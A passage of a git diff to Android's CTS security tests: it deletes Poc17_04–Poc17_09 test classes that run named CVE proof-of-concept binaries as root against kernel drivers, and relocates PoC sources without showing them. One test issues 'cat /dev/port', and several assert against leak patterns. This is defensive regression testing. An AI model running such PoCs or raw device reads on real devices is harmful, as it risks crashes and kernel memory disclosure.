- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.platform.test.annotations.SecurityTest;
-
-public class Poc17_04 extends SecurityTestCase {
-
- /**
- * b/33544431
- */
- @SecurityTest
- public void testPocCVE_2017_0576() throws Exception {
- enableAdbRoot(getDevice());
- if(containsDriver(getDevice(), "/dev/qce")) {
- AdbUtils.runPoc("CVE-2017-0576", getDevice(), 60);
- }
- }
-
- /**
- * b/34325986
- */
- @SecurityTest
- public void testPocCVE_2017_0580() throws Exception {
- enableAdbRoot(getDevice());
- if(containsDriver(getDevice(), "/dev/touch_fwu")) {
- AdbUtils.runPoc("CVE-2017-0580", getDevice(), 60);
- }
- }
-
- /**
- * b/33353601
- */
- @SecurityTest
- public void testPocCVE_2017_0462() throws Exception {
- enableAdbRoot(getDevice());
- if(containsDriver(getDevice(), "/dev/seemplog")) {
- AdbUtils.runPoc("CVE-2017-0462", getDevice(), 60);
- }
- }
-
- /**
- * b/33842951
- */
- @SecurityTest
- public void testPocCVE_2017_0577() throws Exception {
- enableAdbRoot(getDevice());
- if(containsDriver(getDevice(), "/dev/touch_fwu")) {
- AdbUtils.runPoc("CVE-2017-0577", getDevice(), 60);
- }
- }
-
- /**
- * b/33966912
- */
- @SecurityTest
- public void testPocCVE_2016_10231() throws Exception {
- enableAdbRoot(getDevice());
- if(containsDriver(getDevice(), "/dev/snd/controlC0")) {
- AdbUtils.runPoc("CVE-2016-10231", getDevice(), 60);
- }
- }
-
- /**
- * b/34276203
- */
- @SecurityTest
- public void testPocCVE_2017_0564() throws Exception {
- enableAdbRoot(getDevice());
- if(containsDriver(getDevice(), "/dev/ion")) {
- AdbUtils.runPocNoOutput("CVE-2017-0564", getDevice(), 60);
- }
- }
-
- /**
- * b/33649808
- */
- @SecurityTest
- public void testPocCVE_2017_0586() throws Exception {
- enableAdbRoot(getDevice());
- if(containsDriver(getDevice(), "/dev/snd/controlC0")) {
- AdbUtils.runPoc("CVE-2017-0586", getDevice(), 60);
- }
- }
-}
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_06.java b/hostsidetests/security/src/android/security/cts/Poc17_06.java
deleted file mode 100644
index b78d5a8..0000000
--- a/hostsidetests/security/src/android/security/cts/Poc17_06.java
+++ /dev/null
@@ -1,107 +0,0 @@
-/**
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.platform.test.annotations.SecurityTest;
-
-@SecurityTest
-public class Poc17_06 extends SecurityTestCase {
-
- /**
- * b/34328139
- */
- @SecurityTest
- public void testPocBug_34328139() throws Exception {
- enableAdbRoot(getDevice());
- if(containsDriver(getDevice(), "/dev/mdss_rotator")) {
- AdbUtils.runPoc("Bug-34328139", getDevice(), 60);
- }
- }
-
- /**
- * b/33452365
- */
- @SecurityTest
- public void testPocBug_33452365() throws Exception {
- enableAdbRoot(getDevice());
- if(containsDriver(getDevice(), "/dev/snd/pcmC0D16c")) {
- AdbUtils.runPoc("Bug-33452365", getDevice(), 60);
- }
- }
-
- /**
- * b/34125463
- */
- @SecurityTest
- public void testPocCVE_2017_0579() throws Exception {
- enableAdbRoot(getDevice());
- if(containsDriver(getDevice(), "/dev/graphics/fb0")) {
- AdbUtils.runPoc("CVE-2017-0579", getDevice(), 60);
- }
- }
-
- /**
- * b/33751424
- */
- @SecurityTest
- public void testPocCVE_2017_7369() throws Exception {
- enableAdbRoot(getDevice());
- if(containsDriver(getDevice(), "/dev/snd/controlC0")) {
- AdbUtils.runPoc("CVE-2017-7369", getDevice(), 60);
- }
- }
-
- /**
- * b/35047780
- */
- @SecurityTest
- public void testPocBug_35047780() throws Exception {
- enableAdbRoot(getDevice());
- AdbUtils.runPoc("Bug-35047780", getDevice(), 60);
- }
-
- /**
- * b/35048450
- */
- @SecurityTest
- public void testPocBug_35048450() throws Exception {
- enableAdbRoot(getDevice());
- AdbUtils.runPoc("Bug-35048450", getDevice(), 60);
- }
-
- /**
- * b/35047217
- */
- @SecurityTest
- public void testPocBug_35047217() throws Exception {
- enableAdbRoot(getDevice());
- AdbUtils.runPoc("Bug-35047217", getDevice(), 60);
- }
-
- /**
- * b/35644815
- */
- @SecurityTest
- public void testPocBug_35644815() throws Exception {
- enableAdbRoot(getDevice());
- if(containsDriver(getDevice(), "/sys/kernel/debug/ion/clients/pids/")) {
- String pocOut = AdbUtils.runPoc("Bug-35644815", getDevice(), 60);
- assertNotMatches("[\\s\\n\\S]*INFO DISC FLAG[\\s\\n\\S]*", pocOut);
- }
- }
-
-}
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_07.java b/hostsidetests/security/src/android/security/cts/Poc17_07.java
deleted file mode 100644
index fb460ca..0000000
--- a/hostsidetests/security/src/android/security/cts/Poc17_07.java
+++ /dev/null
@@ -1,151 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.platform.test.annotations.SecurityTest;
-
-@SecurityTest
-public class Poc17_07 extends SecurityTestCase {
-
- /**
- * b/33863407
- */
- @SecurityTest
- public void testPocBug_33863407() throws Exception {
- enableAdbRoot(getDevice());
- if(containsDriver(getDevice(), "/sys/kernel/debug/mdp/reg")) {
- AdbUtils.runPoc("Bug-33863407", getDevice(), 60);
- }
- }
-
- /**
- * b/36604779
- */
- @SecurityTest
- public void testPocBug_36604779() throws Exception {
- enableAdbRoot(getDevice());
- if(containsDriver(getDevice(), "/dev/port")) {
- AdbUtils.runCommandLine("cat /dev/port", getDevice());
- }
- }
-
- /**
- * b/34973477
- */
- @SecurityTest
- public void testPocCVE_2017_0705() throws Exception {
- enableAdbRoot(getDevice());
- if(containsDriver(getDevice(), "/proc/net/psched")) {
- AdbUtils.runPoc("CVE-2017-0705", getDevice(), 60);
- }
- }
-
- /**
- * b/34126808
- */
- @SecurityTest
- public void testPocCVE_2017_8263() throws Exception {
- enableAdbRoot(getDevice());
- if(containsDriver(getDevice(), "/dev/ashmem")) {
- AdbUtils.runPoc("CVE-2017-8263", getDevice(), 60);
- }
- }
-
- /**
- * b/34173755
- */
- @SecurityTest
- public void testPocBug_34173755() throws Exception {
- enableAdbRoot(getDevice());
- if(containsDriver(getDevice(), "/dev/ashmem")) {
- AdbUtils.runPoc("Bug-34173755", getDevice(), 60);
- }
- }
-
- /**
- * b/35950388
- */
- @SecurityTest
- public void testPocBug_35950388() throws Exception {
- enableAdbRoot(getDevice());
- AdbUtils.runPocNoOutput("Bug-35950388", getDevice(), 60);
- }
-
- /**
- * b/34624155
- */
- @SecurityTest
- public void testPocBug_34624155() throws Exception {
- enableAdbRoot(getDevice());
- if(containsDriver(getDevice(), "/dev/v4l-subdev*")) {
- AdbUtils.runPocNoOutput("Bug-34624155", getDevice(), 60);
- }
- }
-
- /**
- * b/33299365
- */
- @SecurityTest
- public void testPocBug_33299365() throws Exception {
- enableAdbRoot(getDevice());
- if(containsDriver(getDevice(), "/dev/v4l-subdev*")) {
- AdbUtils.runPocNoOutput("Bug-33299365", getDevice(), 60);
- }
- }
-
- /**
- * b/35950805
- */
- @SecurityTest
- public void testPocBug_35950805() throws Exception {
- enableAdbRoot(getDevice());
- if(containsDriver(getDevice(), "/dev/graphics/fb2")) {
- AdbUtils.runPocNoOutput("Bug-35950805", getDevice(), 60);
- }
- }
-
- /**
- * b/35139833
- */
- @SecurityTest
- public void testPocBug_35139833() throws Exception {
- enableAdbRoot(getDevice());
- if(containsDriver(getDevice(), "/dev/v4l-subdev*")) {
- AdbUtils.runPocNoOutput("Bug-35139833", getDevice(), 60);
- }
- }
-
- /**
- * b/35468048
- */
- @SecurityTest
- public void testPocBug_35468048() throws Exception {
- enableAdbRoot(getDevice());
- String pocOut = AdbUtils.runPoc("Bug-35468048", getDevice(), 60);
- assertNotMatches("[\\s\\n\\S]*read succeeded: [0-9]+ bytes[\\s][\\S]" +
- "{3} content: 0x[0-9]+. 0x[0-9]+[\\s\\n\\S]*", pocOut);
- }
-
- /**
- * b/35470735
- */
- @SecurityTest
- public void testPocBug_35470735() throws Exception {
- enableAdbRoot(getDevice());
- AdbUtils.runPocNoOutput("Bug-35470735", getDevice(), 60);
- }
-}
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_08.java b/hostsidetests/security/src/android/security/cts/Poc17_08.java
deleted file mode 100644
index 7c092e2..0000000
--- a/hostsidetests/security/src/android/security/cts/Poc17_08.java
+++ /dev/null
@@ -1,92 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.platform.test.annotations.SecurityTest;
-
-@SecurityTest
-public class Poc17_08 extends SecurityTestCase {
-
- /**
- * b/36266767
- */
- @SecurityTest
- public void testPocBug_36266767() throws Exception {
- enableAdbRoot(getDevice());
- AdbUtils.runPoc("Bug-36266767", getDevice(), 60);
- }
-
- /**
- * b/36591162
- */
- @SecurityTest
- public void testPocBug_36591162() throws Exception {
- enableAdbRoot(getDevice());
- if(containsDriver(getDevice(), "/dev/qce")) {
- AdbUtils.runPoc("Bug-36591162", getDevice(), 60);
- }
- }
-
- /**
- * b/35258962
- */
- @SecurityTest
- public void testPocCVE_2017_9678() throws Exception {
- enableAdbRoot(getDevice());
- if(containsDriver(getDevice(), "/dev/graphics/fb0")) {
- AdbUtils.runPoc("CVE-2017-9678", getDevice(), 60);
- }
- }
-
- /**
- * b/36731152
- */
- @SecurityTest
- public void testPocCVE_2017_9692() throws Exception {
- enableAdbRoot(getDevice());
- if(containsDriver(getDevice(), "/dev/graphics/fb2")) {
- AdbUtils.runPoc("CVE-2017-9692", getDevice(), 60);
- }
- }
-
- /**
- * b/35764875
- */
- @SecurityTest
- public void testPocBug_35764875() throws Exception {
- enableAdbRoot(getDevice());
- if(containsDriver(getDevice(), "/dev/msm_aac")) {
- String pocOut = AdbUtils.runPoc("Bug-35764875", getDevice(), 60);
- assertNotMatches("[\\s\\n\\S]*information leaked, trycount=[0-9]" +
- "+, rc=-[0-9]+, event_type=[0-9]+[\\s][0-9]{80}" +
- "[\\s\\n\\S]*", pocOut);
- }
- }
-
- /**
- * b/35644510
- */
- @SecurityTest
- public void testPocBug_35644510() throws Exception {
- enableAdbRoot(getDevice());
- if(containsDriver(getDevice(), "/dev/qbt1000")) {
- String pocOut = AdbUtils.runPoc("Bug-35644510", getDevice(), 60);
- assertNotMatches("[\\s\\n\\S]*KERNEL ADDRESS LEAKED = 0x[a-f0-9]" +
- "{16}[\\s\\n\\S]*", pocOut);
- }
- }
-}
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_09.java b/hostsidetests/security/src/android/security/cts/Poc17_09.java
deleted file mode 100644
index 051c589..0000000
--- a/hostsidetests/security/src/android/security/cts/Poc17_09.java
+++ /dev/null
@@ -1,45 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.platform.test.annotations.SecurityTest;
-
-@SecurityTest
-public class Poc17_09 extends SecurityTestCase {
-
- /**
- * b/33039685
- */
- @SecurityTest
- public void testPocBug_33039685() throws Exception {
- enableAdbRoot(getDevice());
- if (containsDriver(getDevice(), "/sys/kernel/debug/pci-msm/")) {
- AdbUtils.runPocNoOutput("Bug-33039685", getDevice(), 60);
- }
- }
-
- /**
- * b/35676417
- */
- @SecurityTest
- public void testPocBug_35676417() throws Exception {
- enableAdbRoot(getDevice());
- if (containsDriver(getDevice(), "/sys/devices/soc/7544000.qcom,sps-dma/driver_override")) {
- AdbUtils.runPocNoOutput("Bug-35676417", getDevice(), 60);
- }
- }
-}
diff --git a/hostsidetests/securitybulletin/Android.mk b/hostsidetests/securitybulletin/Android.mk
new file mode 100644
index 0000000..2c76b4e
--- /dev/null
+++ b/hostsidetests/securitybulletin/Android.mk
@@ -0,0 +1,37 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_MODULE_TAGS := optional
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+# Must match the package name in CtsTestCaseList.mk
+LOCAL_MODULE := CtsSecurityBulletinHostTestCases
+
+LOCAL_MODULE_CLASS := JAVA_LIBRARIES
+
+LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
+
+LOCAL_CTS_TEST_PACKAGE := android.host.security
+
+include $(BUILD_CTS_HOST_JAVA_LIBRARY)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/securitybulletin/AndroidTest.xml b/hostsidetests/securitybulletin/AndroidTest.xml
new file mode 100644
index 0000000..4503004
--- /dev/null
+++ b/hostsidetests/securitybulletin/AndroidTest.xml
@@ -0,0 +1,46 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Config for the CTS Security Bulletin host tests">
+ <option name="config-descriptor:metadata" key="component" value="security" />
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+ <option name="cleanup" value="true" />
+ <option name="push" value="CVE-2016-8460->/data/local/tmp/CVE-2016-8460" />
+ <option name="push" value="CVE-2016-8482->/data/local/tmp/CVE-2016-8482" />
+ <option name="push" value="CVE-2016-6730->/data/local/tmp/CVE-2016-6730" />
+ <option name="push" value="CVE-2016-6731->/data/local/tmp/CVE-2016-6731" />
+ <option name="push" value="CVE-2016-6732->/data/local/tmp/CVE-2016-6732" />
+ <option name="push" value="CVE-2016-6733->/data/local/tmp/CVE-2016-6733" />
+ <option name="push" value="CVE-2016-6734->/data/local/tmp/CVE-2016-6734" />
+ <option name="push" value="CVE-2016-6735->/data/local/tmp/CVE-2016-6735" />
+ <option name="push" value="CVE-2016-6736->/data/local/tmp/CVE-2016-6736" />
+ <option name="push" value="CVE-2016-8424->/data/local/tmp/CVE-2016-8424" />
+ <option name="push" value="CVE-2016-8425->/data/local/tmp/CVE-2016-8425" />
+ <option name="push" value="CVE-2016-8426->/data/local/tmp/CVE-2016-8426" />
+ <option name="push" value="CVE-2016-8427->/data/local/tmp/CVE-2016-8427" />
+ <option name="push" value="CVE-2016-8428->/data/local/tmp/CVE-2016-8428" />
+ <option name="push" value="CVE-2016-8429->/data/local/tmp/CVE-2016-8429" />
+ <option name="push" value="CVE-2016-8430->/data/local/tmp/CVE-2016-8430" />
+ <option name="push" value="CVE-2016-8431->/data/local/tmp/CVE-2016-8431" />
+ <option name="push" value="CVE-2016-8432->/data/local/tmp/CVE-2016-8432" />
+ <option name="push" value="CVE-2016-8434->/data/local/tmp/CVE-2016-8434" />
+
+ <option name="append-bitness" value="true" />
+ </target_preparer>
+ <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+ <option name="jar" value="CtsSecurityBulletinHostTestCases.jar" />
+ <option name="runtime-hint" value="32s" />
+ </test>
+</configuration>
diff --git a/hostsidetests/security/securityPatch/Android.mk b/hostsidetests/securitybulletin/securityPatch/Android.mk
similarity index 100%
rename from hostsidetests/security/securityPatch/Android.mk
rename to hostsidetests/securitybulletin/securityPatch/Android.mk
diff --git a/hostsidetests/security/securityPatch/CVE-2016-6730/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6730/Android.mk
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2016-6730/Android.mk
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-6730/Android.mk
diff --git a/hostsidetests/security/securityPatch/CVE-2016-6730/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6730/poc.c
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2016-6730/poc.c
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-6730/poc.c
diff --git a/hostsidetests/security/securityPatch/CVE-2016-6731/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6731/Android.mk
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2016-6731/Android.mk
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-6731/Android.mk
diff --git a/hostsidetests/security/securityPatch/CVE-2016-6731/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6731/poc.c
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2016-6731/poc.c
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-6731/poc.c
diff --git a/hostsidetests/security/securityPatch/CVE-2016-6732/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6732/Android.mk
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2016-6732/Android.mk
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-6732/Android.mk
diff --git a/hostsidetests/security/securityPatch/CVE-2016-6732/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6732/poc.c
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2016-6732/poc.c
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-6732/poc.c
diff --git a/hostsidetests/security/securityPatch/CVE-2016-6733/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6733/Android.mk
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2016-6733/Android.mk
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-6733/Android.mk
diff --git a/hostsidetests/security/securityPatch/CVE-2016-6733/local_pwn.h b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6733/local_pwn.h
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2016-6733/local_pwn.h
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-6733/local_pwn.h
diff --git a/hostsidetests/security/securityPatch/CVE-2016-6733/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6733/poc.c
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2016-6733/poc.c
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-6733/poc.c
diff --git a/hostsidetests/security/securityPatch/CVE-2016-6734/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6734/Android.mk
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2016-6734/Android.mk
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-6734/Android.mk
diff --git a/hostsidetests/security/securityPatch/CVE-2016-6734/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6734/poc.c
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2016-6734/poc.c
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-6734/poc.c
diff --git a/hostsidetests/security/securityPatch/CVE-2016-6735/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6735/Android.mk
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2016-6735/Android.mk
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-6735/Android.mk
diff --git a/hostsidetests/security/securityPatch/CVE-2016-6735/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6735/poc.c
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2016-6735/poc.c
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-6735/poc.c
diff --git a/hostsidetests/security/securityPatch/CVE-2016-6736/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6736/Android.mk
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2016-6736/Android.mk
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-6736/Android.mk
diff --git a/hostsidetests/security/securityPatch/CVE-2016-6736/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6736/poc.c
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2016-6736/poc.c
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-6736/poc.c
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8424/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8424/Android.mk
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2016-8424/Android.mk
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-8424/Android.mk
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8424/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8424/poc.c
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2016-8424/poc.c
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-8424/poc.c
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8425/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8425/Android.mk
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2016-8425/Android.mk
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-8425/Android.mk
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8425/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8425/poc.c
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2016-8425/poc.c
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-8425/poc.c
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8426/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8426/Android.mk
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2016-8426/Android.mk
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-8426/Android.mk
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8426/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8426/poc.c
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2016-8426/poc.c
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-8426/poc.c
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8427/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8427/Android.mk
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2016-8427/Android.mk
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-8427/Android.mk
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8427/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8427/poc.c
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2016-8427/poc.c
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-8427/poc.c
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8428/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8428/Android.mk
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2016-8428/Android.mk
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-8428/Android.mk
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8428/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8428/poc.c
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2016-8428/poc.c
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-8428/poc.c
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8429/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8429/Android.mk
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2016-8429/Android.mk
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-8429/Android.mk
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8429/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8429/poc.c
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2016-8429/poc.c
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-8429/poc.c
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8430/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8430/Android.mk
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2016-8430/Android.mk
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-8430/Android.mk
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8430/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8430/poc.c
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2016-8430/poc.c
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-8430/poc.c
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8431/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8431/Android.mk
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2016-8431/Android.mk
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-8431/Android.mk
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8431/local_poc.h b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8431/local_poc.h
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2016-8431/local_poc.h
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-8431/local_poc.h
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8431/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8431/poc.c
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2016-8431/poc.c
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-8431/poc.c
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8432/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8432/Android.mk
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2016-8432/Android.mk
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-8432/Android.mk
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8432/local_poc.h b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8432/local_poc.h
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2016-8432/local_poc.h
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-8432/local_poc.h
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8432/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8432/poc.c
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2016-8432/poc.c
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-8432/poc.c
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8434/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8434/Android.mk
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2016-8434/Android.mk
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-8434/Android.mk
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8434/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8434/poc.c
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2016-8434/poc.c
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-8434/poc.c
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8460/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8460/Android.mk
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2016-8460/Android.mk
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-8460/Android.mk
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8460/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8460/poc.c
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2016-8460/poc.c
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-8460/poc.c
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8482/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8482/Android.mk
similarity index 100%
